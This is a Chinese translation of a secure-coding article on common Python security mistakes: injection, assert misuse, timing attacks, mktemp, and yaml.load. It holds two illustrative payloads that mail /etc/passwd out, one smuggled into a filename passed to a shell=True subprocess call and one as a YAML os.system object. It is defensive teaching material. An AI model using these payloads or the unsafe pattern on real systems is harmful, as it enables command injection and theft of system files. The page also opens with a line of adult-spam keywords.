成人国产在线小视频_日韩寡妇人妻调教在线播放_色成人www永久在线观看_2018国产精品久久_亚洲欧美高清在线30p_亚洲少妇综合一区_黄色在线播放国产_亚洲另类技巧小说校园_国产主播xx日韩_a级毛片在线免费

資訊專欄INFORMATION COLUMN

Python 中的 10 個(gè)常見(jiàn)安全漏洞，以及如何避免（上）

Jingbin_ / 3181人閱讀

摘要：在考慮安全性時(shí)，你需要考慮如何避免被濫用，也不例外，即使在標(biāo)準(zhǔn)庫(kù)中，也存在用于編寫應(yīng)用的不良實(shí)踐。計(jì)時(shí)攻擊需要精確性，所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù)應(yīng)用程序涉及可變延遲，因此幾乎不可能在服務(wù)器上編寫計(jì)時(shí)攻擊。

簡(jiǎn)評(píng)：編寫安全代碼很困難，當(dāng)你學(xué)習(xí)一個(gè)編程語(yǔ)言、模塊或框架時(shí)，你會(huì)學(xué)習(xí)其使用方法。 在考慮安全性時(shí)，你需要考慮如何避免被濫用，Python 也不例外，即使在標(biāo)準(zhǔn)庫(kù)中，也存在用于編寫應(yīng)用的不良實(shí)踐。然而，許多 Python 開發(fā)人員卻根本不知道它們。
1. 輸入注入（Input injection）

注入攻擊非常廣泛而且很常見(jiàn)，注入有很多種類，它們影響所有的語(yǔ)言、框架和環(huán)境。

SQL 注入是直接編寫 SQL 查詢（而非使用 ORM） 時(shí)將字符串字面量與變量混合。我讀過(guò)很多代碼，其中「escaping quotes」被認(rèn)為是一種修復(fù)，但事實(shí)并非如此，可以通過(guò)這個(gè)鏈接查看 SQL 注入所有可能發(fā)生的復(fù)雜方式。

命令注入可能在使用 popen、subprocess、os.system 調(diào)用一個(gè)進(jìn)程并從變量中獲取參數(shù)時(shí)發(fā)生，當(dāng)調(diào)用本地命令時(shí)，有人可能會(huì)將某些值設(shè)置為惡意值。

下面是個(gè)簡(jiǎn)單的腳本，使用用戶提供的文件名調(diào)用子進(jìn)程：

import subprocess

def transcode_file(request, filename):
    command = "ffmpeg -i "{source}" output_file.mpg".format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻擊者會(huì)將 filename 的值設(shè)置為“; cat / etc / passwd | mail [email protected] 或者其他同樣危險(xiǎn)的東西。

修復(fù)：

如果你使用了 Web 框架，可以用附帶的實(shí)用程序?qū)斎脒M(jìn)行清理，除非有充分的理由，否則不要手動(dòng)構(gòu)建 SQL 查詢，大多數(shù) ORM 都具有內(nèi)置的消毒方法。

對(duì)于 shell，可以使用 shlex 模塊正確地轉(zhuǎn)義輸入。

2. assert 語(yǔ)句（Assert statements）

不要使用 assert 語(yǔ)句來(lái)防止用戶訪問(wèn)不應(yīng)訪問(wèn)的代碼段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

現(xiàn)在，默認(rèn)情況下，Python 以 debug 為 true 來(lái)執(zhí)行腳本，但在生產(chǎn)環(huán)境中，通常使用優(yōu)化運(yùn)行，這將會(huì)跳過(guò) assert 語(yǔ)句并直接轉(zhuǎn)到安全代碼，而不管用戶是否是 is_admin。

修復(fù)：

僅在與其他開發(fā)人員進(jìn)行通信時(shí)使用 assert 語(yǔ)句，例如在單元測(cè)試中或?yàn)榱朔乐共徽_的 API 使用。

3. 計(jì)時(shí)攻擊（Timing attacks）

計(jì)時(shí)攻擊本質(zhì)上是一種通過(guò)計(jì)時(shí)比較提供值所需時(shí)間來(lái)暴露行為和算法的方式。計(jì)時(shí)攻擊需要精確性，所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù) Web 應(yīng)用程序涉及可變延遲，因此幾乎不可能在 HTTP Web 服務(wù)器上編寫計(jì)時(shí)攻擊。

但是，如果你有提示輸入密碼的命令行應(yīng)用程序，則攻擊者可以編寫一個(gè)簡(jiǎn)單的腳本來(lái)計(jì)算將其值與實(shí)際密碼進(jìn)行比較所需的時(shí)間。

修復(fù)：

使用在 Python 3.5 中引入的 secrets.compare_digest 來(lái)比較密碼和其他私密值。

4.臨時(shí)文件（Temporary files）

要在 Python 中創(chuàng)建臨時(shí)文件，通常使用 mktemp() 函數(shù)生成一個(gè)文件名，然后使用該名稱創(chuàng)建一個(gè)文件。 「這是不安全的，因?yàn)榱硪粋€(gè)進(jìn)程可能會(huì)在調(diào)用 mktemp() 和隨后嘗試通過(guò)第一個(gè)進(jìn)程創(chuàng)建文件之間的空隙創(chuàng)建一個(gè)同名文件?！惯@意味著應(yīng)用程序可能加載錯(cuò)誤的數(shù)據(jù)或暴露其他的臨時(shí)數(shù)據(jù)。

如果調(diào)用不正確的方法，則最新版本的 Python 會(huì)拋出運(yùn)行警告。

修復(fù)：

如果需要生成臨時(shí)文件，請(qǐng)使用 tempfile 模塊并使用 mkstemp。

5. 使用 yaml.load

引用 PyYAML 文檔：

警告：使用從不可信源接收到的數(shù)據(jù)來(lái)調(diào)用 yaml.load 是不安全的！ yaml.load 和pickle.load 一樣強(qiáng)大，所以可以調(diào)用任何 Python 函數(shù)。

在流行的 Python 項(xiàng)目 Ansible 中找到的這個(gè)美麗的例子，你可以將此值作為（有效）YAML 提供給 Ansible Vault，它使用文件中提供的參數(shù)調(diào)用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]

所以，從用戶提供的值中有效地加載 YAML 文件會(huì)讓應(yīng)用對(duì)攻擊打開大門。

修復(fù)：

總是使用 yaml.safe_load，除非你有一個(gè)非常好的理由。

原文：10 common security gotchas in Python and how to avoid them

文章版權(quán)歸作者所有，未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為，您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址：http://systransis.cn/yun/41914.html

相關(guān)文章

  • Python 中的 10 個(gè)常見(jiàn)安全漏洞，以及如何避免（下）

    摘要：在考慮安全性時(shí)，你需要考慮如何避免被濫用，也不例外，即使在標(biāo)準(zhǔn)庫(kù)中，也存在用于編寫應(yīng)用的不良實(shí)踐。修復(fù)使用替換標(biāo)準(zhǔn)庫(kù)模塊，它增加了針對(duì)這些類型攻擊的安全防護(hù)。但這卻是中最大的安全漏洞之一。 簡(jiǎn)評(píng)：編寫安全代碼很困難，當(dāng)你學(xué)習(xí)一個(gè)編程語(yǔ)言、模塊或框架時(shí)，你會(huì)學(xué)習(xí)其使用方法。 在考慮安全性時(shí)，你需要考慮如何避免被濫用，Python也不例外，即使在標(biāo)準(zhǔn)庫(kù)中，也存在用于編寫應(yīng)用的不良實(shí)踐。然而...

    PiscesYE 評(píng)論0 收藏0

  • Python 中的 10 個(gè)常見(jiàn)安全漏洞，以及如何避免（上）

    摘要：在考慮安全性時(shí)，你需要考慮如何避免被濫用，也不例外，即使在標(biāo)準(zhǔn)庫(kù)中，也存在用于編寫應(yīng)用的不良實(shí)踐。計(jì)時(shí)攻擊需要精確性，所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù)應(yīng)用程序涉及可變延遲，因此幾乎不可能在服務(wù)器上編寫計(jì)時(shí)攻擊。 簡(jiǎn)評(píng)：編寫安全代碼很困難，當(dāng)你學(xué)習(xí)一個(gè)編程語(yǔ)言、模塊或框架時(shí)，你會(huì)學(xué)習(xí)其使用方法。 在考慮安全性時(shí)，你需要考慮如何避免被濫用，Python 也不例外，即使在標(biāo)準(zhǔn)庫(kù)中...

    Kaede 評(píng)論0 收藏0

  • 10個(gè)你應(yīng)該了解的Git命令(以及Git省時(shí)小竅門)

    摘要：下面是需要了解的個(gè)命令和它們的一些常見(jiàn)標(biāo)志。每個(gè)命令都鏈接到該命令的指南。僅用于提交級(jí)別。指定一個(gè)不同的提交，而不是來(lái)丟棄自提交以來(lái)的更改。包裝在本文中，你已經(jīng)看到了一些關(guān)鍵的命令，并配置了環(huán)境以節(jié)省時(shí)間。 showImg(https://segmentfault.com/img/remote/1460000018662396); 在本文中，我們將討論那些作為開發(fā)人員、數(shù)據(jù)科學(xué)家或產(chǎn)品...

    laoLiueizo 評(píng)論0 收藏0

  • Python和SQL Server 2017的強(qiáng)大功能

    摘要：它主要是為了允許在中使用基于的機(jī)器學(xué)習(xí)，但是它可以與任何庫(kù)或框架一起使用。已經(jīng)通過(guò)啟用服務(wù)器通過(guò)使用的機(jī)器學(xué)習(xí)服務(wù)在中執(zhí)行腳本，添加到其高級(jí)分析擴(kuò)展，現(xiàn)在稱為機(jī)器學(xué)習(xí)服務(wù)。存儲(chǔ)的實(shí)例必須安裝具有的機(jī)器學(xué)習(xí)服務(wù)要在中使用執(zhí)行腳本，應(yīng)運(yùn)行或。 Python和SQL Server 2017的強(qiáng)大功能 Python是SQL Server 2017的新功能。它主要是為了允許在SQLServer中...

    everfight 評(píng)論0 收藏0

  • 前端每周清單第 44 期: 2017 JS 調(diào)查報(bào)告、REST 接口實(shí)時(shí)化、ESM 的過(guò)去與未來(lái)

    摘要：巔峰人生年老兵思路上的轉(zhuǎn)變，遠(yuǎn)比單純提升技術(shù)更有價(jià)值本文節(jié)選自趙成教授在極客時(shí)間開設(shè)的趙成的運(yùn)維體系管理課，是其對(duì)自己十年技術(shù)生涯的回顧與總結(jié)。趙成教授來(lái)自美麗聯(lián)合集團(tuán)，集團(tuán)旗下兩大主力產(chǎn)品是蘑菇街和美麗說(shuō)，目前負(fù)責(zé)管理集團(tuán)的技術(shù)服務(wù)團(tuán)隊(duì)。 showImg(https://segmentfault.com/img/remote/1460000012476504?w=1240&h=826...

    MASAILA 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

最新活動(dòng)
閱讀需要支付1元查看
<